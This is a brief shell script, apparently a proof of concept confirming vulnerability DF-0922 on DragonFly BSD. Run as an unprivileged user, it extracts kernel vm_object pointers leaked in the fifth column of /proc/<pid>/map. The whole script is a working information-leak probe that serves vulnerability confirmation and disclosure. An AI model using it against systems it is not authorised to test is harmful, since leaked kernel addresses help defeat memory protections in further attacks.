#!/bin/sh
# leak_kptr.sh - confirm DF-0922: vm_object kernel pointer leaked via %p
#                in the 5th column of /proc/<pid>/map output.
#
# Run as a non-root user.
set -e

MAPFILE="${1:-/proc/self/map}"

echo "[*] reading $MAPFILE as uid=$(id -u)"
echo

# Print only the 5th whitespace-separated column. On DFly, column 5 is the
# %p expansion of (ba ? ba->object : NULL) - i.e. a kernel vm_object pointer.
awk 'NF >= 5 { print $5 }' "$MAPFILE" | sort -u | head -40